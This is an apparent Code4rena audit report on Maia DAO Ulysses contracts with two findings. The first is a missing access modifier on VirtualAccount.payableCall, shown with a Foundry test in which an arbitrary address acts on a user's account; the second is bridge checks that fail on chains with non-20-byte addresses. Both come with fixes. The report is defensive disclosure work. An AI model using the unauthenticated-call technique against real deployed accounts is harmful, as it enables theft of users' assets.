Maia DAO - Ulysses - imare's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

A VirtualAccount represents a user wallet that allows the user to manage assets and perform remote interactions.

But because payableCall method lacks any form of authentication it can be called by anyone. The call can be also executed directly to the desired VirtualAccount instance (as shown by the POC in this report).

Impact

Anyone can call (directly) any VirtualAccount user contract and execute asset movements or any desired interaction in the name of the user (wallet).

Proof of Concept

This line is missing an access modifier:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Add the following test to the MulticallRootRouterTest.t.sol file :

// add this after helper import
import {PayableCall} from "@omni/interfaces/IVirtualAccount.sol";

// add as one of the tests
function testAnyoneCanInteractWithTheUserVirtualAccount() public {
    // userVirtualAccount variable is defined as :
    //userVirtualAccount = address(rootPort.fetchVirtualAccount(address(this)));

    PayableCall[] memory payableCallData = new PayableCall[](1);

    payableCallData[0] =
    PayableCall({target: mockApp, callData: abi.encodeWithSelector(bytes4(keccak256(bytes("distro()")))), value : 0});

    // RLP Encode Calldata
    bytes memory data = encodeCalls(abi.encode(payableCallData));

    hevm.startPrank(address(0x1337));
    // value can be anything ..also 0
    userVirtualAccount.call{value : 0}(abi.encodeWithSignature("payableCall(PayableCall[] data)", data));
    hevm.stopPrank();
}

The test will succeed to run and will show that anyone can directly call an VirtualAccount that makes interactions on behalf of the user.

Running 1 test for test/ulysses-omnichain/MulticallRootRouterTest.t.sol:MulticallRootRouterTest
[PASS] testAnyoneCanInteractWithTheUserVirtualAccount() (gas: 13697)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.68ms

Running 1 test for test/ulysses-omnichain/MulticallRootRouterZippedTest.t.sol:MulticallRootRouterZipTest
[PASS] testAnyoneCanInteractWithTheUserVirtualAccount() (gas: 47730)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.84ms

Tools Used

Manual review

Recommended Mitigation Steps

Add an access modifier like is done for VirtualAccount#call method

-function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { 
+function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) requiresApprovedCaller { 

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L142 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L943 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1210

Vulnerability details

Impact

Layer0 supports also chains that have different address byte size then 20.

https://layerzero.gitbook.io/docs/technical-reference/mainnet/supported-chain-ids

A chain that support size different address then 20 is for example Aptos chain.

Such chain can be added to the protocol but will not work as expected.

Proof of Concept

Such chain can be added as its shown by this lines:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L142

This line will not revert:

 rootBridgeAgentPath = abi.encodePacked(_rootBridgeAgentAddress, address(this));

But inside the executor contract (the BranchBridgeAgentExecutor) the modifier that protects the receive functionality expects a different size of address

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L943

 if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller(); 
 if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[20:])))) revert LayerZeroUnauthorizedCaller(); 

There is also a line in the RootBridgeAgent contract:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1210

Tools Used

Manual review

Recommended Mitigation Steps

To achieve compatibility for such type of chain there is a lot of code to change. For example we should not use address type but bytes instead.

The simplest solution would be to not support such chain.

Assessed type

Error